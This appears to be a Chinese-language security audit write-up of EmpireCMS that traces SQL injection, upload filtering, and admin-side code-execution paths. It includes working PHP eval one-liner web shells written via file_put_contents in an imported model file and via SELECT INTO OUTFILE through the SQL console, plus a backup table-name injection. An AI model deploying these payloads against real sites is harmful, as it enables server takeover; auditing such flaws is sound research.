empirecms代码审计
环境搭建
代码审计
安装
看一眼安装功能,有个判断,要是有任意文件删除就能用了
if(file_exists("install.off"))
{
echo"《帝国网站管理系统》安装程序已锁定。如果要重新安装,请删除<b>/e/install/install.off</b>文件!";
exit();
}
搜索
首页看起来就只有登陆和搜索,看看搜索。直接拼接,存在sql注入
$hh=$_POST['hh'];
存在一个过滤函数,似乎没啥搞头
function RepPostVar2($val){
if($val!=addslashes($val))
{
exit();
}
CkPostStrChar($val);
$val=str_replace("%","",$val);
$val=str_replace("`","",$val);
$val=str_replace("\t","",$val);
$val=str_replace("%20","",$val);
$val=str_replace("%27","",$val);
$val=str_replace("*","",$val);
$val=str_replace("'","",$val);
$val=str_replace("\"","",$val);
$val=str_replace("/","",$val);
$val=str_replace(";","",$val);
$val=str_replace("#","",$val);
$val=str_replace("--","",$val);
$val=RepPostStr($val,1);
$val=addslashes($val);
//FireWall
FWClearGetText($val);
return $val;
}
注册
上传头像处验证了一些后缀,如果能上传.htaccess
就能解析图片马
//保留扩展名验证
function CheckSaveTranFiletype($filetype){
$savetranfiletype=',.php,.php3,.php4,.php5,.php6,.asp,.aspx,.jsp,.cgi,.phtml,.asa,.asax,.fcgi,.pl,.ascx,.ashx,.cer,.cdx,.pht,.shtml,.shtm,.stm,';
if(stristr($savetranfiletype,','.$filetype.','))
{
return true;
}
return false;
}
但是请求限制了头像的后缀为gif|jpg
,这后缀是跑不掉了
会员空间
投稿和会员空间都不能用,先用管理员账户设置一下
对传入字段做了html编码
//处理注册字段值
function DoMemberFValue($val){
$val=ehtmlspecialchars($val,ENT_QUOTES);
return $val;
}
后台导入数据模型
找到关键请求
找到对应代码
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
这里包含了上传的文件,用file_put_contents
写shell
<?php file_put_contents("1.php","<?php @eval(\$_POST[cmd]); ?>");?>
执行sql语句
e/admin/db/DoSql.php
按;
分割语句、执行,没有过滤
foreach(explode(";\n",trim($sql)) as $query)
{
$queries=explode("\n",trim($query));
foreach($queries as $query)
{
$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
}
$num++;
}
unset($sql);
foreach($ret as $query)
{
$query=trim($query);
if($query)
{
$empire->query($query);
}
}
写一句话
select '<?php @eval($_POST[b1ank]);?>' into outfile '/Users/b1ank/Documents/sec/www/EmpireCMS/upload/e/admin/2.php'
备份数据
选一个表,备份,抓包改表名。目录下生成三个文件,访问config.php
,得到phpinfo
页面
$b_table
直接拼接,用的是之前的过滤函数,对于eval($_POST[b1ank]
并没有影响
$string="<?php
\$b_table=\"".$b_table."\";
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
\$b_bakline=".$add['bakline'].";
\$b_autoauf=".$add['autoauf'].";
\$b_dbname=\"".$dbname."\";
\$b_stru=".$bakstru.";
\$b_strufour=".$bakstrufour.";
\$b_dbchar=\"".addslashes($add['dbchar'])."\";
\$b_beover=".$beover.";
\$b_insertf=\"".addslashes($insertf)."\";
\$b_autofield=\",".addslashes($add['autofield']).",\";
\$b_bakdatatype=".$bakdatatype.";
?>";